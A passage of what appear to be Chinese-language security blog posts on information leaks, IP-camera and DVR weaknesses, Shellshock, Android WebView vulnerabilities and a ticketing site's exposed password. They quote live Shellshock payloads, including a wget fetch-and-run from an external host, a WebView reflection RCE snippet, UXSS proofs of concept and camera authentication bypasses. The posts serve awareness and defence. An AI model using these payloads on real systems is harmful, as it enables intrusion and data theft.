在今年駭客年會企業場,我們分享了一場『被遺忘的資訊洩漏』。資訊洩漏是十幾年前就被一提再提的議題,在資訊安全領域中也是最最最基本該注意的事情,然而至今很多網站都還是忽略它,甚至連一些熱門網站都仍有資訊洩漏問題。議程中我們舉了大量的例子證明資訊洩漏其實可以很嚴重,希望能幫大家複習一下,如果網站沒有注意這些,會造成什麼樣的後果。議程投影片如下所示,就讓我們來總結一下吧!


DEVCORE 常利用的資訊洩漏

首先我們從過往滲透測試經驗中挑選了幾個常見的資訊洩漏問題,分別如下:

  • 管理介面洩漏 (p8-p19)
  • 目錄(Index of)洩漏 (p20-p28)
  • 錯誤訊息洩漏 (p29-p35)
  • 暫存、測試資訊 (p36-p46)
  • 版本控管 (p47-p55)
  • DNS 資訊洩漏 (p56-p63)

以上種種不同洩漏方式,可能會洩漏出系統環境資訊、程式碼內容、含有帳號密碼的設定檔等。透過這些資訊,駭客就能組織出一個有效的攻擊行動。我們甚至在過往的經驗中,只透過目標的資訊洩漏,就直接取得資料庫操作權限(詳見投影片 p65-p71)。

為了解目前一些熱門網站是否重視這些最基本的保護,我們實際對 alexa 台灣前 525 名的網站進行資訊洩漏的調查。

phpmyadmin 頁面洩漏狀況
phpinfo 頁面洩漏狀況

在管理介面和測試頁面洩漏的項目,我們用很保守的方式測試根目錄下是否存有 phpmyadmin 和 phpinfo 頁面,結果分別有 7% 和 9% 的網站有這樣的問題。這樣的結果非常令人訝異,畢竟受測網站都是知名且有技術力的網站,而且並非所有網站都使用 php 開發,再加上我們只是測試預設的命名,實際洩漏的情況會更多!

版本控制洩漏狀況

另一個值得一提的是版本控管洩漏問題,我們同樣保守的只針對版本控管軟體中 GIT 和 SVN 兩項進行調查。結果竟然有 10% 的網站有這樣的問題。這個現象非常嚴重!這個現象非常嚴重!這個現象非常嚴重!這個洩漏有機會能還原整個服務的原始碼,被攻擊成功的機率相當高!台灣熱門的網站裡,十個裡面就有一個存有這樣的問題,非常危險,煩請看到這篇文章的朋友能去注意貴公司的網站是否存在這樣的問題。

大數據資料蒐集

在這場議程中,我們還提到了另一個層次的資訊洩漏議題:當全世界主機的服務及版本資訊全部都被收集起來,會發生什麼樣的事情?

駭客擁有這樣的資料,就能夠在非常短暫的時間內篩選出有問題的主機,進行大量的入侵。我們利用類似的技術針對台灣主機快速的進行掃描,就發現了台灣有 61414 台主機可以被利用來做 DNS Amplification DDoS 攻擊、1003 台主機可以被利用來做 NTP Amplification DDoS 攻擊。也就是說,駭客可以在短時間內組織一支六萬多人的台灣大軍,可以針對他想要攻擊的目標進行攻擊。

OpenSSL Heartbleed 尚未修復的狀況

利用相同的技術,我們也順便檢驗了前陣子非常熱門的 OpenSSL Heartbleed 問題。OpenSSL Heartbleed 被稱之為『近十年網路最嚴重的安全漏洞』,其嚴重程度可以想見,然而根據我們的觀察,台灣至今仍有 1480 台 HTTP 伺服器尚未修復,而台灣前 525 大熱門網站中,也有 21 個(4%)網站未修復。足見台灣網站對於資安的意識仍然不夠。

對於這樣海量收集資料衍生的資安議題,我們認為最大的受害者,是物聯網的使用者!就我們的觀察,物聯網的設備通常安全防護不佳,容易遭受到駭客攻擊,前陣子 HP 也出了一份報告指出,物聯網的設備有七成存在弱點,而且每台設備平均有 25 個弱點。除此之外,物聯網的設備不易更新,少有人會定期更新,更導致物聯網設備可以被大範圍的攻擊,進而滲透家用網路,危害使用者居家隱私。這是個未來需要持續關注的重要議題。

仍暴露在 SynoLocker 風險狀況統計

最後,我們用最近 SynoLocker 的案例為大數據資料蒐集作結,SynoLocker 是一款針對 Synology 的勒索軟體,去年底 Synology 官方已經推出新版修正問題,本月 SynoLocker 擴散至全世界,新聞一再強調需要更新 NAS,但我們針對台灣 1812 台對外開放的 Synology NAS 做統計,至今仍發現有 64% 的使用者沒有更新,也就是這些 NAS 仍暴露在 SynoLocker 的風險中。這件事情又再次證明駭客有能力在短時間利用大數據資料找到攻擊目標,也順帶說明了台灣資安意識普遍不足的問題。

結論

在這次議題我們關注了很古老的資訊洩漏問題,並且發現目前台灣一些熱門網站仍然存在這樣的問題。資訊洩漏也許不是一件很嚴重的事情,但往往能激起駭客高漲的情緒,駭客會認為一個網站連最最最基本的資料保護都沒有做到,一定會存在其他資安問題,進而進行更大量的攻擊行為。而事實上,我們也從實例證明了其實資訊洩漏可以很嚴重,希望網站提供者能夠注重這個簡單可解決且重要的議題。

我們也提到了駭客透過平常大量的資料收集,在需要的時候能快速找到目標並且大範圍攻擊。這其中又以物聯網的用戶影響最多。面對這樣的議題,我們建議除了適當的隱藏(偽造)主機版本資訊以避免出現 0-Day 時成為首要攻擊目標。我們也提倡要對自己的服務做普查,了解自己到底對外開啟了什麼服務,以及關注自己使用的第三方套件是否有安全更新。

希望明年不需要再有一篇『依舊沒改變的資訊洩漏』!大家快點注意這件簡單的事情吧!

網路攝影機、DVR、NVR 的資安議題 - 你知道我在看你嗎?

23 September 2014 at 16:00

網路攝影機的普及率在近幾年來持續攀升,除了老人與幼兒居家照護、企業室內監控等需求迅速增加之外,結合手機應用程式讓人可隨時隨地觀看影像的方便性也成為普及的原因。當大家還以為黑帽駭客的目標仍然是網站、個人電腦時,已經有許多攻擊者悄悄地將目標轉向了各種物連網設備,例如 NAS、Wireless AP、Printer 等產品,而擁有眾多用戶的網路攝影機理所當然地也是目標之一。身為安控產品,卻造成一項資安的隱憂,是不是有點諷刺呢?

恰好最近幾天忽然看到有新聞報導「家用監視器遭駭客入侵 隱私全被看光光」這樣子的案例,而在去年也有類似的報導「數十萬支監控攝影機潛藏被駭漏洞 電影情景恐真實上演」,讓我們不禁想對這個事件做個深入的調查。就讓我們來看看網路攝影機以及相關產品究竟有哪些風險吧!

CVE

我們先來看看幾個大廠在 2013 年到 2014 年之間有哪些已經被公開揭露的 CVE 弱點:

  • AVTECH: 3, CVE-2013-4980, CVE-2013-4981, CVE-2013-4982
  • AXIS: 2, CVE-2013-3543, CVE-2011-5261
  • Hikvision: 3, CVE-2013-4975, CVE-2013-4976, CVE-2013-4977
  • SONY: 1, CVE-2013-3539
  • Vivotek: 6, CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598, CVE-2013-4985

讀者們若進一步去看各個 CVE 的詳細資料,會發現有許多弱點都是屬於可執行任意指令的嚴重漏洞,其影響程度非常高,已不只是關於攝影內容是否被竊取,更有可能被利用此類設備進一步攻擊其他內、外網機器。

台灣現況

雖然上面提到許多知名廠牌的嚴重漏洞,但是每個國家使用的安控設備不見得都是上述幾個牌子,而身為資安業者,隨時關注自己國家的網路現況也是很合理的事情~在我們的大量觀測下,發現有許多 IP Camera、DVR (Digital Video Recoder)、NVR (Network Video Recoder) 都存在資安議題,我們從其中提出幾個有趣的案例跟各位分享一下:

  • 某國外 V 牌廠商 (數量:320+)

    一般的產品通常都會有預設帳號密碼,但這間廠商的產品似乎沒有預設帳號密碼,若使用者未設定帳號密碼,攻擊者只要直接點「OK」按鈕就可以登入系統,而這樣子的 DVR 在台灣有三百多台,也就是有三百多台 DVR 在網路上裸奔…網路攝影機、DVR、NVR 案例 1

  • 某國外 H 牌廠商 (數量:1200+)

    有些廠商為了方便維修或者其他理由,會在 NVR 上開啟了 Telnet 服務,雖然增加了被攻擊的機率,但是若密碼強度足夠且沒有外流,也不會隨便被打進去。而這間廠商非常有趣,除了 root 帳號之外還有一組 guest 帳號,並且 guest 的密碼非常簡單,加上當初建置系統時並未檢查機敏檔案的權限是否設定錯誤,導致攻擊者可先用 guest 帳號登入,再去 /etc/shadow 讀取 root 密碼加以破解,進一步取得設備所有權限。網路攝影機、DVR、NVR 案例 2

  • 某國外 D 牌廠商 (數量:700+)

    這個案例實在是令人哭笑不得,不知道是原廠還是台灣代理商非常好心地幫使用者建立了多組預設帳號,包含 admin、666666、888888 等等,而且密碼也設定得很簡單。但是通常要使用者記得改一組預設密碼已經非常困難,更何況是要使用者改三組密碼呢?這種情形導致攻擊者可以輕而易舉地拿著弱密碼到處猜,大大提高了用戶的受害機率。而更有趣的是,不知道是基於歷史包袱或者其他原因,此設備開了特殊的 port,直接送出含有特定內容的封包到這個 port 就可以執行相對應的指令,例如可以取得帳號密碼、使用者 email 等等,而在這個過程中完全沒有任何認證機制!等於又有七百多台 NVR 在網路上裸奔…網路攝影機、DVR、NVR 案例 3

  • 某國內 A 牌廠商 (數量:1000+)

    這間廠商也是使用常見的預設帳號密碼,但它可怕的地方還不止於此。該系統將帳號密碼轉為 Base64 編碼後直接當作 cookie 內容,因此若預設帳號密碼分別是 abc 與 123,將 abc:123 用 Base64 編碼過後可得到 YWJjOjEyMw==,接著將 Cookie: SSID=YWJjOjEyMw== 這串內容加到 request 的 HTTP header 中,就可以到處測試該設備是否使用預設帳號密碼,甚至還可以進一步下載備份檔,察看使用者有無填寫 email、網路帳號密碼等資料。網路攝影機、DVR、NVR 案例 4

  • 某國內 A 牌廠商(數量:10+)

    這個案例雖然數量非常少,但是卻非常嚴重。為什麼呢?因為廠商沒有對機敏資料做嚴格的權限控管,只要攻擊者直接在網址列輸入 http://IP/sys.bin,就可以直接下載一個名為 sys.bin 的檔案,而此檔案是 tgz 格式,解壓縮後可以得到 system_server.conf,該檔案中含有帳號、密碼,因此即便使用者修改了預設帳號密碼,也會因為這個嚴重漏洞而輕易地被入侵。網路攝影機、DVR、NVR 案例 5

  • XXXX科技 (數量:230+)

    這是一個非常經典的案例!一般攻擊者入侵攝影機最常見的就是為了偷看攝影機畫面,再進階一點的可能會控制該攝影機進一步攻擊內網。而這家廠商身為知名保全公司投資成立的安控公司,理當為客戶的監控畫面做最周全的規劃、最謹慎的防護,但是結果呢?報告各位,完全沒有任何防護!只要連到 IP 位址就可以直接看到攝影機畫面,也是屬於裸奔一族…

從這幾個案例我們可以發現台灣目前至少有 3500 台左右的安控設備處於高風險狀態中,而由於我們無暇對每一款設備進行調查,因此這僅僅是一個概略的調查結果。同時這些設備都是在網路上可直接連線的,若再加上各個公家機關、辦公大樓、社區的內網安控設備,恐怕會有更驚人的發現。

問題起源

究竟為什麼會有這麼多安控設備被入侵呢?其實主要有兩個面向。第一個是由於許多廠商的防範觀念仍停留在舊時代,不了解駭客到底都怎麼攻擊,因此也不了解確切的防治方法。舉例來說,廠商在網路安控系統的 Web 輸入介面都會設定許多阻擋規則,以防範入侵者輸入惡意攻擊指令,但是這些防治手段都僅僅做在 client 端(用 JavaScript 來防護),入侵者只要利用 proxy 工具或自行寫程式發送客製化 request 就可以繞過那些驗證,若廠商沒有在 server 端再次進行驗證輸入資料是否異常,就有很高的機會被入侵成功。

另一方面則是入侵者的攻擊手法千變萬化,難以保證不會有新的 0-Day 弱點出現。例如今年一月份大量爆發的 NTP 弱點 CVE-2013-5211 就存在於上述六個案例其中之一,我想廠商應該不會有意願針對舊產品修復此類漏洞,也就是未來隨時有幾百台的攝影機可被惡意人士用來執行 DDoS 攻擊。另外今年四月份的 OpenSSL Heartbleed 弱點更是一個具有代表性的重要案例,我想這應該是許多安控設備廠商都會使用的程式。當廠商將此類程式納入網路安控設備中,於弱點被揭露時若無法及時有效修補,或是修補的成本太高導致用戶不願意修補、沒有能力修補,就有可能釀成重大災情,不但造成用戶損失,也嚴重影響商譽。

廠商該如何因應?

針對此類資安問題,大型硬體廠商應該落實以下幾個動作:

  • 改善資安問題更新流程:將產品的資安更新改變成主動通知使用者,而非需要使用者主動到官網看才知道更新,以縮短使用者更新的平均週期,確保使用者的軟體是最新無風險版本。
  • 成立專門資安小組:請專人負責檢驗產品的資安品質與修正資安弱點,以便因應臨時爆發的重大弱點,維持產品的資安品質。
  • 黑箱滲透測試:於產品出廠前執行黑箱滲透測試,讓滲透測試專家從黑帽駭客的角度來檢查產品有無漏洞。
  • 白箱原始碼檢測:定期執行原始碼檢測,從產品的根本處著手改善,降低產品上市後才被發現弱點的機率。
  • 資安教育訓練:請有實際攻防經驗的資安專家給予開發人員正確的資安觀念,了解最新的攻擊手法與有效防禦之道。
  • 定期檢閱產品所使用的第三方軟體套件是否有弱點,例如 OpenSSL,以避免把有問題的版本納入產品,造成產品間接產生弱點,因而遭到入侵。
  • 定時於網路上收集產品的相關弱點資料,例如 Secunia、SecurityFocus、Packet Storm 等網站都是很好的資訊來源。

一般使用者、企業該如何亡羊補牢?

目前的網路安控系統使用者仍未有足夠的資安意識,主要現象有以下幾點:

  • 使用弱密碼
  • 未進行適當的權限劃分與管理
  • 容易開啓攻擊者寄送的惡意連結,導致被 XSS、CSRF 等手法攻擊
  • 未限制連入 IP 位址,導致安控系統可從外網任意存取

然而,無論是安控系統或其他任何連網設備,未來都有可能成為潛在的攻擊目標,而且在廠商提供更新檔之前其實也很難確實地自保,因此了解資安知識與常見的攻擊手法是有其必要的。基本的防範之道如下:

  • 使用強密碼,包含大小寫英文、數字、特殊符號,並且定期更換密碼
  • 勿在系統建立太多不必要的使用者帳號、將多餘的帳號移除,以降低帳號被盜的機率。若需要建立多組帳號,請仔細給予適當的權限
  • 勿隨意開啟可疑信件附帶的連結或檔案,以避免被攻擊者以 XSS、CSRF 等手法攻擊
  • 限制可存取資訊系統的 IP 位址,避免資訊系統成為公開的攻擊目標
  • 定期檢查 log,確認有無異常登入、異常操作甚至是異常帳號等資訊

結論

在物連網的時代中,各種可進行無線通訊的設備被攻擊的事件屢見不鮮,例如 2011 年知名駭客 Jay Radcliffe 在 Black Hat 展示如何攻擊胰島素注射器,2013 年已故駭客 Barnaby Jack 原本要在 Black Hat 展示如何利用藍芽通訊控制心律調整器,甚至 2014 年甫推出的可遠程變換顏色燈泡也被揭露有資安問題。在不久的未來,這些資安問題只會更多,身為民眾、企業、廠商的你,準備好面對萬物皆可駭的物連網時代了嗎?

Shellshock (Bash CVE-2014-6271) 威脅仍在擴大中,但無需過度恐慌

29 September 2014 at 16:00

自 9/24 以來,不少資訊圈朋友日以繼夜的忙碌,這都多虧了藏在 Bash 裡 22 年的安全漏洞-Shellshock (Bash CVE-2014-6271)。對於惡意攻擊者而言,這是今年來第二波淘金潮,相較於上次 Heartbleed 駭客們的刮刮樂遊戲需要拼運氣,這次的 Shellshock 只要一發現利用點,就能馬上擁有基本的系統操作權限,也難怪 NVD 給予 Shellshock 最嚴重的 10.0 分影響等級。

Shellshock 受影響的 Bash 版本如下:

  • Bash 4.3 Patch 25 (含)以前版本
  • Bash 4.2 Patch 48 (含)以前版本
  • Bash 4.1 Patch 12 (含)以前版本
  • Bash 4.0 Patch 39 (含)以前版本
  • Bash 3.2 Patch 52 (含)以前版本
  • Bash 3.1 Patch 18 (含)以前版本
  • Bash 3.0 Patch 17 (含)以前版本
  • Bash 2.0.5b Patch 8 (含)以前版本
  • Bash 1.14.7 (含)以前版本

這次的問題出在 bash 對環境變數的解析上。若有辦法在環境變數中塞入惡意的程式碼,並且順利將這些環境變數傳入 bash,bash 就會因解析錯誤而執行惡意指令、和讓攻擊者能直接對系統進行基本的操作。原始碼及更進階的原理請參考這篇。Shellshock 之所以嚴重,一來是因為攻擊語法相當簡單,只需要一行指令,就可以直接對系統進行操作;二來是因為 bash 使用範圍極廣,多款作業系統預設 shell 就是 bash。 常見的作業系統與其預設 shell 整理如下:

作業系統 預設 shell
CentOS bash
Fedora bash
RHEL bash
Mac OS X bash
Android 早期是 ash, 3.0 開始是 mksh
Debian sh (Lenny, 5.0)
dash (Squeeze, 6.0)
embedded device 大部分使用 busybox (ash)
FreeBSD tcsh
Ubuntu dash
iOS Jailbreak 後是 bash



我們看到近半數知名的 un*x 系統預設使用 bash,可以推想這次影響範圍有多廣,尤其是許多服務都架構在這之上,若遭受到攻擊,損失的可能是企業的機密資料或客戶資料。至於沒有預設使用 bash 的作業系統,也並不意味著完全沒有風險,例如 Ubuntu 在 DHCP 客戶端使用到 bash ,就仍然會有風險,下面文章中也會提到這樣的狀況。另外,早期新聞中常出現物聯網設備會受此漏洞影響的報導,經過我們實測,物聯網設備為求精簡,大多使用 busybox,而其 shell 為 ash,故大多數設備在這次 Shellshock 威脅中影響不大,不過儘管物聯網設備逃過了這次 Shellshock 事件,有許多設備仍然是赤裸裸的。

常見的 Shellshock 利用方式

Shellshock 漏洞被公布後,惡意攻擊者無不想要透過這個漏洞對伺服器進行遠端攻擊,一些遠端攻擊概念也陸續被證實。最早的公開大量掃描是由 Errata Security 在其部落格公布技術細節,他們在 HTTP 請求表頭中的 Cookie、Host、Referer 中放置惡意語法 () { :; }; ping -c 3 209.126.230.74,並且利用 masscan 對全世界 HTTP 伺服器 (port 80) 進行掃描。因為一般伺服器會將 HTTP 表頭中之內容放入環境變數中,若伺服器首頁入口程式本身是 bash shell script 或者其子程序有呼叫到 bash,就會受到惡意語法的影響,執行 ping -c 3 209.126.230.74 指令。

攻擊使用 CGI 的網頁伺服器

利用同樣的道理,惡意攻擊者開始在 HTTP 表頭中置入惡意的語法,大量去掃描網路上的 CGI 網頁,因為這種網頁常呼叫系統指令,所以成功機率都頗高,攻擊成功的結果如下圖,從這張圖也可了解這個弱點可以簡單地透過一個參數就能直接讓系統執行任意指令。

攻擊使用 CGI 的網頁伺服器

詳細的實作流程請參考下面影片:

我們團隊也在 CGI 環境下執行幾種程式語言進行測試,發現用到以下 function 時會讀取到環境變數(date 只是範例,可代換為其他系統指令),因此若伺服器在 CGI 環境下使用這些 function,會為伺服器本身帶來嚴重風險。

Language Vulnerable Function
Perl exec(“date > /dev/null”);
open(SHELLSHOCK, “| date > /dev/null”);
system(“date > /dev/null;”);
print `date > /dev/null`
PHP exec(‘date’);
system(‘date’);
mb_send_mail();
Python os.system(‘date’)
subprocess.call(‘date’, shell=True)
subprocess.Popen(‘date’, shell=True)
Ruby `date`
exec ‘date’
system ‘date’


建置惡意 DHCP 伺服器感染連線使用者

同時,有另一批人發現某些作業系統在進行 DHCP 連線時,會將 DHCP 伺服器傳入的一些資訊塞入到環境變數中。於是,若建置一個惡意 DHCP 伺服器,對其連線的使用者就有很高的機會遭受攻擊。我們實際做了實驗攻擊一般使用者,在使用者建立連線的當下放置後門,實驗過程如下影片:



我們也分別測試了在不同作業系統下是否會受到惡意 DHCP 伺服器影響,基本上,常見的 un*x 系統開機後自動連線基本上都會中招。

OS Version Vulnerable
CentOS 7.0 YES
Debian 7.6 YES
Fedora 20 YES
Ubuntu 10.04.1 LTS YES
Ubuntu 14.04.1 LTS YES
Android 4.4.4 NO
Apple iOS 7.0.4 NO
FreeBSD 10.0 NO
Gentoo 20140925 NO (已修復)
Linux Mint 17 “Qiana” Cinnamon NO 1
Linux Mint Debian 201403 Cinnamon NO 1
Mac OS X 10.9.5 NO
openSUSE 13.2 NO 2
Synology 5.0-4493 update 7 NO (已修復)


繞過 Git/Subversion 伺服器的 shell 限制

Shellshock 也常被利用來繞過伺服器的 shell 限制,最常見的就是 Git 和 Subversion 伺服器:
通常這些伺服器允許透過 SSH 連線,但登入後都對應著受限制的 shell。透過此漏洞,可以繞過 shell 的限制,執行指令如下圖。(註:OS 中 git user 預設 shell 要為 bash 才會受到影響)

繞過 Git/Subversion 伺服器的 shell 限制

一般我們要實作特定使用者登入 ssh 只能做特定的事情,常常會在 sshd_config 設定 ForceCommand,或是在 authorized_keys 設定 command= 如下:

command="[path]/gl-auth-command sitaram",[more options] ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18S2t...

這次會受到 Shellshock 影響,就是因為這些設定會在使用者透過 ssh 登入時,呼叫 bash 執行,當環境變數被引入,惡意的程式碼就會被執行了。

Shellshock 威脅仍在擴大

目前不管是白帽駭客或是黑帽駭客都還在持續尋找可以利用 Shellshock 的地方,如同前面所述,找到可以寫入環境變數的地方,並且順利傳入 bash 執行,就可以利用該弱點來執行更進一步的攻擊。

從 Shellshock 爆發至今,陸陸續續傳出了很多公司的產品受到此弱點影響,整理在此,也有一些 POC 整理在這裡。 其中不乏出現一些常用知名套件如:OpenVPN、Pure-FTPd,而且持續更新中。

現在針對 HTTP 伺服器的攻擊還是佔多數,截至目前為止我們仍持續發現網路上有各種掃描樣本,例如:

  • () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a
  • () { :;}; /bin/bash -c "wget -P /var/tmp 174.143.2XX.XX/…/x ; perl /var/tmp/x"
  • () { :;};echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF$(echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF)vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF

除了這些陸續針對 HTTP 伺服器的案例,我們認為,一些公司購入的網路設備是 Shellshock 潛在高危險群,那些買來就擺在旁邊維運的設備,一來容易被忽略,二來是其更新不易,三來這些設備常使用到 bash,因此仍是現在惡意攻擊者專注研究的目標,請大家特別小心。

結論:無需過度恐慌,但別掉以輕心

「只要有 bash 的系統全部都是受駭範圍!」

不少朋友看到最近 Shellshock 的新聞報導,都十分緊張。儘管各位所使用的 bash 是含有漏洞的版本,但要成功執行攻擊手法需要許多條件,被攻擊者從遠端攻擊的機率偏低,因此大家不需要太過恐慌,只要注意以下設備或伺服器:

  • 特定 Linux 版本,並且使用 DHCP 連線
  • 網路、資安設備
  • 使用 CGI 的網站伺服器
  • 已經公布含有弱點的套件

那我們該怎麼自保呢?在攻擊手法不斷精進之下,只過濾 CVE-2014-6271 的攻擊字串並沒有辦法完全阻擋攻擊。建議可以先將伺服器的 bash 升級至最新版本,並持續關注後續更新訊息(目前持續有繞過檢查的新 CVE 弱點發佈),使用 CGI 之伺服器搭配 iptables、IDS、Mod Security 等機制偵測攻擊特徵並將其阻擋。若有設備在這次的影響範圍,也記得向原廠索取更新程式。

題外話

有人說:「Linux 在 2014 年接連出包,真是一個不安全的作業系統!反觀 Windows 在這幾次都毫無影響,企業應該要全面改用 Microsoft Solution!」,但這真的是正確的想法嗎?其實一個 OpenSource 的系統、軟體,可以藉由社群的力量檢視原始碼的問題,集合眾人的力量讓系統變得更加安全。因此有被揭露出漏洞,對於一個系統來說是好事。而非 OpenSource 的系統,就只能仰賴原廠自己的資安團隊進行研究,或者是外部資安人員的發掘了。選擇作業系統的原則,最好依照系統的功能需求、產品定位、安全漏洞的修補速度等層面,才能夠選用真正符合自己需要的系統。

註解

  1. 若手動執行 dhclient,則會遭到漏洞影響。 ↩ ↩2

  2. 系統環境變數會受到影響,但無法被攻擊者利用。 ↩

Android WebView 為你的使用者打開了漏洞之門你知道嗎?

12 October 2014 at 16:00

為了解決在應用程式中顯示網頁的需求,開發者一般會使用到由系統提供的 WebView 元件。而由於 JavaScript 被廣泛應用在網頁上,開發者通常也會把 WebView 處理 JavaScript 的功能打開,好讓大部分網頁能正常運作。但就在開啟這個像是必不可少的 JavaScript 功能時,背後一些由於系統漏洞而引發出來意想不到的風險卻有機會由此而生。接下來的部分將把這些漏洞為大家做個整理。

相關漏洞

1. 遠端代碼執行 (Remote Code Execution)

風險:木馬跳板,個資被盜

目前有機會發生 RCE 風險都圍繞在 addJavascriptInterface 這個功能上,該功能原意是為被載入的網頁和原生程式間建立一個”橋樑”,通過預先設定好的介面,讓網頁能呼叫指定的公開函式並取得函式回傳的結果。

class JsObject {
    public String toString() { return "Hello World"; }
}

webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadUrl("http://www.example.com/");
<html>
    <head>…
    <script>
       alert(injectedObject.toString()); // return "Hello World"
    </script>
    </head>
    <body>…</body>
</html>

像上面的例子裡,網頁能通過預先設定好的 “injectedObject” 介面,呼叫 “toString” 函式,得到 “Hello World” 這個字串。

其漏洞 CVE-2012-6636 最早在2012年12月被公佈出來,攻擊者有機會利用他通過 Java Reflection API 來執行任意代碼。影響 Android 1.X ~ 4.1。

<script>
    function execute(cmdArgs) {
        return injectedObject.getClass().forName("java.lang.Runtime")
                              .getMethod("getRuntime",null)
                              .invoke(null,null).exec(cmdArgs);
    }
    execute(["/system/bin/sh","-c","cat vuln >> attacker.txt"]);
</script>

其後 Google 在 Android 4.2 開始對 addJavascriptInterface 的使用方式加了限制,使用時需要在 Java 端把可被網頁執行的公開函式透過 @JavascriptInterface 來標註。並奉勸開發者別在 4.1 或之前的系統上使用 addJavascriptInterface。

可是是否開發者只要在受影響的系統上不主動使用 addJavascriptInterface 就能解決問題呢?答案是否定的。

在 Android 3.X ~ 4.1 上,WebView 預設會用 addJavascriptInterface 添加一個叫 “searchBoxJavaBridge_” 的介面。開發者如果沒有注意的話就會同樣會讓使用者陷入風險中。很巧合地,從 Android 3.0 開始 Google 加入了 removeJavascriptInterface 函式讓開發者可以移定指定的介面。所以開發者可以使用該函式在受影響的系統上把 “searchBoxJavaBridge_” 移除。

除了 “searchBoxJavaBridge_” 外,還有兩個介面會在特定情況下被加到 WebView 中。若使用者有在手機上 [系統設定] 裡的 [協助工具],打開 [服務] 子分類中的任何一個項目,系統就會對其後建立的 WebView 自動加上 “accessibility” 和 “accessibilityTraversal”這兩個介面。這行為在 Android 4.4 由於舊版 WebView 被取代而消失了。

Android 協助工具服務

防範

作為開發者

  • 如非需要,關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內,再用其他途徑載入資料
  • 在有風險的系統中停用 addJavascriptInterface
  • 在有風險的系統中使用 removeJavascriptInterface 移除系統自帶的介面

作為使用者

  • 如非需要,關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.2 或以上不受影響的系統
  • 勿在受影響的系統上使用機敏服務或儲存機敏資料

Android 不明的來源

2. 繞過同源策略 (Same-Origin Policy bypass)

風險:個資被盜

為防止網頁在載入外部資源時引發安全問題,瀏覽器會實作同源策略以限制程式碼和不同網域資源間的互動。

其中 CVE-2014-6041 漏洞,通過程式在處理 \u0000 (unicode null byte) 時的失誤而繞過了原有的限制。

<html>
    <head>
        <title>CVE-2014-6041 UXSS DEMO</title>
    </head>
    <body>
        <iframe name="target_frame" src="http://devco.re/"></iframe>
        <br />
        <input type="button" value="go" onclick="window.open('\u0000javascript:alert(document.domain)',
'target_frame')" />
    </body>
</html>

如果上面的網頁是放置在與 http://devco.re/ 不同源的地方,正常來說點擊按鈕後會因為 SOP 的關係,該段 JavaScript 無法執行而不會有反應。但在受影響的環境裡則能順利執行並跳出 “devco.re” 這個網域名稱。

上述問題被發現後沒多久,再由相同研究員發現一個早在多年前已經被修正的 WebKit 臭蟲仍然出現在 Android 4.3 及之前的版本上。

<script>
window.onload = function()
{
    object = document.createElement("object");
    object.setAttribute("data", "http://www.bing.com");
    document.body.appendChild(object);
    object.onload = function() {
      object.setAttribute("data", "javascript:alert(document.domain)");
        object.innerHTML = "foobar";
    }
}
</script>

上述的跨來源操作同樣違反了 SOP,應當被拒絕執行。但他卻能在有風險的 WebView 上被執行,造成風險。

防範

作為開發者

  • 如非需要,關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內,再用其他途徑載入資料

作為使用者

  • 如非需要,關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.4 或以上不受影響的系統

結語

談到這裡大家可能會有個疑問,如果應用程式中所載入的遠端網頁網址都是固定,受開發者控制的,應該就會安全沒有風險。還記得在 被忽略的 SSL 處理 裡提及過的中間人攻擊嗎?如果連線過程是採用明文的 HTTP ,或是加密的 HTTPS 但沒落實做好憑證檢查,內容就有機會被攻擊者竊取修改,再結合上面提到的漏洞,對使用者帶來的影響則大大增加。

下面我們製作了一段結合中間人攻擊與 addJavascriptInterface 漏洞,模擬使用者手機被入侵的影片:

從影片的最後可以看到,攻擊者取得存在漏洞的應用程式權限,並取得裡面的機敏資料。

而在繞過同源策略問題上,無論是透過 null byte 或是設定屬性來達到,其實都是屬於存在已久的手法,多年前在別的平台、瀏覽器上就已經發生過,除了編寫上的疏忽外,缺乏一個完整的測試流程去做檢查相信也是其中一個原因。

Android 的生態系統問題,使得大多數的使用者手機未能跟得上系統更新的步驟,讓他們即使知道自己所使用系統存在問題也愛莫能助。

作為開發商,應需要在系統支援度與其相應存在的安全風險中取得平衡,來決定應用程式所支援的最低版本為何。最後作為一個負責任的開發者,應為已被公開的漏洞做好應對措施,避免使用者暴露在風險當中。

參考

從寬宏售票談資安

8 January 2015 at 16:00

戴夫寇爾部落格停載了快兩個月,非常抱歉,讓各位常常催稿的朋友們久等了 <(_ _)>

今天就乘著全臺瘋買票的浪頭,來談談一些常被忽略的資訊安全小概念吧!

江蕙引退演唱會一票難求,隔岸觀了兩天火, 也忍不住想要當個鍵盤孝子。無奈運氣不好一直連不上主機,『Service Unavailable』畫面看膩了,只好看看暫存頁面的網頁原始碼,不看還好,一看我驚呆了!

寬宏售票資訊洩漏
(特別聲明:此流程中並無任何攻擊行為,該頁面是正常購票流程中出現的網頁)

在結帳網頁原始碼當中竟然看到了疑似資料庫密碼 SqlPassWord 在表單裡面!這件事從資安的角度來看,除了表面上洩漏了資料庫密碼之外,還有兩個我想講很久但苦無機會談的資安議題,分別是金流串接常見的弱點以及駭客的心理。藉著寬宏售票網頁洩漏密碼這件事情,順道與大家分享分享吧!

談台灣網站的金流串接

在本篇的例子中,寬宏售票網頁表單出現了疑似資料庫密碼,這狀況就好像去銀行繳款,櫃檯給你一把鑰匙跟你說:『這是金庫的鑰匙,麻煩你到對面那個櫃檯把鑰匙給服務員,請他幫你把錢放進金庫裡面』。

是不是有點多此一舉,銀行本來就會有一份鑰匙,幹嘛要請你(瀏覽器)幫忙轉交?

如果今天壞人拿到了這把鑰匙,是不是只要繞過保全的視線,就可以打開金庫為所欲為?

key_to_success

(Photo by StockMonkeys.com)

類似的狀況也滿常發生在電子商務與第三方金流服務的串接上。

許多電子商務網站專注於商務,選擇將付款步驟委託第三方金流服務處理,一般常見的流程是這樣的:

